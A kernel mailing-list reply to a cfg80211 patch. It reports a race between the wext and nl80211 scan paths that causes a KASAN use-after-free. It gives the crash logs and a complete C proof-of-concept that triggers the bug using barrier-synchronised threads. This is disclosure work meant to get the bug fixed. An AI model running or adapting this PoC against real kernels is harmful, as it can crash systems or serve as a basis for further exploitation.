Re: [PATCH] wifi: cfg80211: Fix an error handling path in cfg80211_wext_siwscan()
From: XIAO WU
Date: Mon Jun 22 2026 - 01:26:00 EST
Hi Christophe,
Thanks for this fix — the memory leak on the essid_len check failure
path is clearly a bug.
I came across an automated AI code review of this function on the Sashiko
platform[1] that identified a pre-existing race condition in this code
path, and I was able to independently verify it triggers a real
KASAN-detected use-after-free by testing with the mac80211_hwsim driver
in QEMU.
TL;DR: The lockless `rdev->scan_req` check in
cfg80211_wext_siwscan() races with nl80211_trigger_scan(). I was able
to trigger a KASAN slab-use-after-free in ieee80211_scan_work via a
barrier-synchronized two-thread race between SIOCSIWSCAN and
NL80211_CMD_TRIGGER_SCAN.
(This is a pre-existing issue, not introduced by your patch — your fix
is still correct.)
> diff --git a/net/wireless/scan.c b/net/wireless/scan.c
> @@ -3612,8 +3612,10 @@ int cfg80211_wext_siwscan(struct net_device *dev,
> /* translate "Scan for SSID" request */
> if (wreq) {
> if (wrqu->data.flags & IW_SCAN_THIS_ESSID) {
> - if (wreq->essid_len > IEEE80211_MAX_SSID_LEN)
> - return -EINVAL;
> + if (wreq->essid_len > IEEE80211_MAX_SSID_LEN) {
> + err = -EINVAL;
> + goto out;
> + }
This fix is correct — the old code leaked `creq`. However, earlier in
the same function (around line 3530):
if (rdev->scan_req || rdev->scan_msg)
return -EBUSY;
This check is done WITHOUT holding the wiphy mutex. Meanwhile,
nl80211_trigger_scan() acquires the wiphy via `pre_doit` before setting
`rdev->scan_req`. The race is:
Thread A (wext) | Thread B (nl80211)
|
check rdev->scan_req | (wiphy lock acquired by pre_doit)
→ NULL, proceeds | check rdev->scan_req → NULL
| set rdev->scan_req = req_B
| rdev_scan(rdev, req_B)
acquire wiphy lock |
rdev->scan_req = req_A | ← req_B pointer LOST, overwritten
rdev_scan(rdev, req_A) |
When the scan completes, `cfg80211_scan_done()` detects the mismatch:
```
WARNING: net/wireless/scan.c:1199: intreq != rdev->scan_req
&& intreq != rdev->int_scan_req
```
I was able to reproduce this reliably using mac80211_hwsim with a
barrier-synchronized two-thread PoC. The kernel was 7.1.0 with
CONFIG_KASAN=y, CONFIG_CFG80211_WEXT=y, CONFIG_MAC80211_HWSIM=y.
The WARN_ON from cfg80211_scan_done():
```
[ 619.100917][ T27] ------------[ cut here ]------------
[ 619.101461][ T27] intreq != rdev->scan_req && intreq != rdev->int_scan_req
[ 619.101465][ T27] WARNING: net/wireless/scan.c:1199 at cfg80211_scan_done+0x19e/0x530
[ 619.114641][ T27] Call Trace:
[ 619.115207][ T27] ? __pfx_cfg80211_scan_done+0x10/0x10
[ 619.116536][ T27] __ieee80211_scan_completed+0x34c/0xe50
[ 619.117049][ T27] ieee80211_scan_work+0x3f6/0x2090
[ 619.119819][ T27] cfg80211_wiphy_work+0x2c3/0x550
[ 619.121271][ T27] process_one_work+0xa0b/0x1c50
[ 619.122261][ T27] worker_thread+0x6df/0xf30
```
Followed by a KASAN slab-use-after-free in ieee80211_scan_work:
```
[ 614.882691][ T1114] BUG: KASAN: slab-use-after-free in ieee80211_scan_work+0x1db4/0x2090
[ 614.883408][ T1114] Read of size 4 at addr ffff88811a135024 by task kworker/u10:4/1114
[ 614.900665][ T1114] Allocated by task 9513:
[ 614.901042][ T1114] kasan_save_stack+0x33/0x60
[ 614.902284][ T1114] __kmalloc_noprof+0x31e/0x7f0
[ 614.902719][ T1114] nl80211_trigger_scan+0x4e3/0x1fb0
[ 614.903701][ T1114] genl_rcv_msg+0x561/0x800
[ 614.907688][ T1114] Freed by task 1114:
[ 614.908036][ T1114] kasan_save_stack+0x33/0x60
[ 614.909741][ T1114] kfree+0x165/0x710
[ 614.910085][ T1114] ___cfg80211_scan_done+0x44b/0x9a0
[ 614.913247][ T1114] The buggy address is located 36 bytes inside of
[ 614.913247][ T1114] freed 2048-byte region [ffff88811a135000, ffff88811a135800)
```
The PoC uses pthread barrier synchronization to force both paths through
the lockless check simultaneously. It runs on wlan0 created by
mac80211_hwsim (modprobe mac80211_hwsim radios=2).
Full PoC (compile with: gcc -Wall -o poc poc.c -lpthread):
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/nl80211.h>
#include <linux/wireless.h>
static char ifname[IFNAMSIZ] = "wlan0";
static int nl80211_fid = -1;
static int nl_sock = -1;
static volatile int stop = 0;
static int wext_ok, nl_ok;
static pthread_barrier_t barrier_go;
static int resolve_nl80211(void)
{
char buf[4096];
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genlh;
struct nlattr *attr;
int ret;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_HDRLEN + GENL_HDRLEN +
NLA_HDRLEN + sizeof(NL80211_GENL_NAME);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 1;
genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
genlh->cmd = CTRL_CMD_GETFAMILY;
genlh->version = 1;
attr = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
attr->nla_type = CTRL_ATTR_FAMILY_NAME;
attr->nla_len = NLA_HDRLEN + sizeof(NL80211_GENL_NAME);
memcpy((char *)attr + NLA_HDRLEN, NL80211_GENL_NAME,
sizeof(NL80211_GENL_NAME));
ret = sendto(nl_sock, buf, nlh->nlmsg_len, 0,
(struct sockaddr *)&sa, sizeof(sa));
if (ret < 0) return -1;
ret = recv(nl_sock, buf, sizeof(buf), 0);
if (ret < 0) return -1;
nlh = (struct nlmsghdr *)buf;
if (!NLMSG_OK(nlh, (unsigned int)ret)) return -1;
genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
char *data = (char *)NLMSG_DATA(nlh) + GENL_HDRLEN;
int left = ret - (data - (char *)nlh);
while (left >= (int)sizeof(struct nlattr)) {
attr = (struct nlattr *)data;
int al = NLA_ALIGN(attr->nla_len);
if (al > left || al < (int)sizeof(struct nlattr)) break;
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
nl80211_fid = *(uint16_t *)((char *)attr + NLA_HDRLEN);
return 0;
}
data += al; left -= al;
}
return -1;
}
/* Send NL80211_CMD_TRIGGER_SCAN via generic netlink */
static int send_nlscan(void)
{
char buf[512];
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
int ifindex = if_nametoindex(ifname);
if (ifindex <= 0) return -1;
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genlh;
struct nlattr *attr;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_type = nl80211_fid;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = 1;
genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
genlh->cmd = NL80211_CMD_TRIGGER_SCAN;
genlh->version = 1;
char *ptr = buf + NLMSG_HDRLEN + GENL_HDRLEN;
attr = (struct nlattr *)ptr;
attr->nla_type = NL80211_ATTR_IFINDEX;
attr->nla_len = NLA_HDRLEN + 4;
*(int *)(ptr + NLA_HDRLEN) = ifindex;
ptr += NLA_ALIGN(attr->nla_len);
nlh->nlmsg_len = ptr - buf;
return sendto(nl_sock, buf, nlh->nlmsg_len, 0,
(struct sockaddr *)&sa, sizeof(sa));
}
/* nl80211 thread: waits for barrier, fires scan request */
static void *nl_thread(void *arg)
{
(void)arg;
cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(1, &cpus);
sched_setaffinity(0, sizeof(cpus), &cpus);
while (!stop) {
pthread_barrier_wait(&barrier_go);
if (stop) break;
/*
* nl80211_trigger_scan() holds wiphy via pre_doit.
* rdev->scan_req check at line ~11115 — lockless with
* respect to the wext path.
*/
if (send_nlscan() == 0)
__sync_fetch_and_add(&nl_ok, 1);
/* drain the ACK */
char buf[4096];
struct timeval tv = { .tv_sec = 5 };
setsockopt(nl_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
recv(nl_sock, buf, sizeof(buf), 0);
}
return NULL;
}
int main(void)
{
pthread_t nt;
struct sockaddr_nl sa;
setbuf(stdout, NULL);
signal(SIGPIPE, SIG_IGN);
printf("PoC: wext vs nl80211 scan race (barrier sync)\n\n");
/* bring wlan0 up */
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
ioctl(s, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP;
ioctl(s, SIOCSIFFLAGS, &ifr);
close(s);
/* set up generic netlink for nl80211 */
nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
bind(nl_sock, (struct sockaddr *)&sa, sizeof(sa));
if (resolve_nl80211() < 0) {
fprintf(stderr, "nl80211 resolve failed\n");
return 1;
}
printf("nl80211 family: %d\n", nl80211_fid);
pthread_barrier_init(&barrier_go, NULL, 2);
pthread_create(&nt, NULL, nl_thread, NULL);
cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(0, &cpus);
sched_setaffinity(0, sizeof(cpus), &cpus);
for (int i = 0; i < 20000; i++) {
/*
* Barrier: fire both paths simultaneously.
*
* wext: checks rdev->scan_req at scan.c:~3530
* WITHOUT wiphy lock → lockless relative to nl80211.
* nl: holds wiphy from pre_doit.
*/
pthread_barrier_wait(&barrier_go);
/* wext path: SIOCSIWSCAN with IW_SCAN_THIS_ESSID */
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd >= 0) {
struct iwreq wrq;
struct iw_scan_req sr;
memset(&wrq, 0, sizeof(wrq));
memset(&sr, 0, sizeof(sr));
strncpy(wrq.ifr_name, ifname, IFNAMSIZ - 1);
sr.essid_len = 5;
memcpy(sr.essid, "test", 5);
wrq.u.data.flags = IW_SCAN_THIS_ESSID;
wrq.u.data.length = sizeof(sr);
wrq.u.data.pointer = (caddr_t)&sr;
if (ioctl(fd, SIOCSIWSCAN, &wrq) == 0)
wext_ok++;
close(fd);
}
if (i % 2000 == 1999)
printf("[%d] wext=%d nl=%d\n", i + 1, wext_ok, nl_ok);
}
stop = 1;
pthread_barrier_wait(&barrier_go);
pthread_join(nt, NULL);
printf("\nFinal: wext=%d nl=%d\n", wext_ok, nl_ok);
if (wext_ok > 0 && nl_ok > 0) {
printf("RACE HIT! Both scan paths succeeded.\n"
"Run: dmesg | grep -E 'WARNING|KASAN|cfg80211_scan'\n");
fflush(stdout);
sleep(3);
system("dmesg | grep -iE 'WARNING|KASAN|cfg80211_scan' | tail -20");
}
close(nl_sock);
return 0;
}
```
[1] https://sashiko.dev/#/patchset/a1be7eea4da0da18f90589af252bb76a18a61978.1781984889.git.christophe.jaillet%40wanadoo.fr
Thanks,
Xiao